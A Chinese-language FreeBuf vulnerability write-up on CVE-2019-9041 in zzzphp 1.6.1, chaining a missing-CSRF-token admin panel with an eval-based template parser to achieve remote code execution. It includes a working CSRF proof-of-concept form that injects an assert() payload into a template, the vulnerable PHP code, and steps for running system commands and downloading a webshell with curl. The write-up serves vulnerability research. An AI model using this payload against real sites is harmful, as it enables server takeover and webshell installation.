freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2019-9041: 从CSRF到Getshell漏洞分析
2019-07-08 09:00:39

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

前言

无意中看到vulnhub新放了一个Csrf大礼包,集合多个最新的csrf to getshell的cve!所以拿这个系统做一个系列关于Csrf的代码审计之路!今天的cms是zzzphp,漏洞并不是特别复杂,算是开个头吧!

正文

审计的zzzphp系统版本为V1.6.1,首先是一个csrf漏洞,这个漏洞原因在于整个后台没有csrf token保护,导致存在csrf漏洞,所以可以伪造客户端请求!再配合CVE-2019-9041即可getshell!

首先我们使用Burp Suite生成一个CSRF POC!

1561626388_5d14871453edb.png!small

这个不能直接用,修改如下:

<html>
 <!-- CSRF PoC - generated by Burp Suite Professional -->
 <body>
 <script>history.pushState('', '', '/')</script>

   <form action="http://192.168.1.64/zzzphp/admin015/save.php?act=editfile" method="POST">

     <input type="hidden" name="file" value="&#47;zzzphp&#47;template&#47;pc&#47;cn2016&#47;html&#47;search&#46;html" />

     <input type="hidden" name="filetext" value="&#123;if&#58;assert&#40;&#36;&#95;POST&#91;x&#93;&#41;&#125;phpinfo&#40;&#41;&#59;&#123;end&#32;if&#125;" />

     <input type="submit" value="Submit request" />

   </form>

   <script>

     document.forms[0].submit();

   </script>

 </body>

</html>

其中生效的payload为html编码的{if:assert($_POST[x])}phpinfo();{end if}。我们把这个poc保存为html文件,在管理员登陆的状态下,诱导管理员点击包含poc的链接,即可在search.html模版中插入恶意代码!

1561626413_5d14872d5e991.png!small

接下分析造成动态代码执行的代码!

首先在在/search/index.php中

1561626421_5d148735154a6.png!small

跟进zzz_client.php

在第136行至140行,是对模板解析的代码

1561626428_5d14873c5811b.png!small

我们跟进ParserTemplate()类,发现发现这个类主要作用是解析全局公共标签,经过审计发现危险函数parserIfLabel,parserIfLabel这个函数进行正则匹配,然后把匹配到的语句做替换,最后ifstr的值为a-ssert($_POST[x]最后拼接到eva1$ifstr函数执行,程序本身没有在这里做过滤一些危险的函数,导致任意代码执行。

public
function parserIfLabel( $zcontent ) {
  $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
  if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
     $count = count( $matches[ 0 ] );
     for ( $i = 0; $i < $count; $i++ ) {
        $flag = '';
        $out_html = '';
        $ifstr = $matches[ 1 ][ $i ];
        $ifstr = str_replace( '<>', '!=', $ifstr );
        $ifstr = str_replace( 'mod', '%', $ifstr );
        $ifstr1 = cleft( $ifstr, 0, 1 );
        switch ( $ifstr1 ) {
           case '=':
              $ifstr = '0' . $ifstr;
              break;
           case '{':
           case '[':
              $ifstr = "'" . str_replace( "=", "'=", $ifstr );
              break;
        }
        $ifstr = str_replace( '=', '==', $ifstr );
        $ifstr = str_replace( '===', '==', $ifstr );
        @eva1( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

我们最终只要控制$ifstr,所以借助前面的csrf漏洞我们可以在管理员登陆的状态下,诱导管理员进行编辑模板操作!

利用过程

csrf诱导管理员点击链接

管理员点击后操作为后台的模版管理 -> 电脑模版 -> cn2016(6) -> html -> search.html 编辑

在模版中添加{if:assert($_POST[x])}xxx;{end if} 保存

访问 http://webroot/search/

代码执行

首先我们尝试执行phpinfo()

1561626475_5d14876b431b1.png!small

使用system()函数执行系统命令

1561626482_5d148772d79ec.png!small

尝试远程写shell,不过权限有问题,所以使用curl -O直接下载一个shell

1561626518_5d148796e5ccc.png!small

蚁剑连接成功!11.png

*本文作者:cck,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

# 漏洞分析 # csrf # Getshell
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录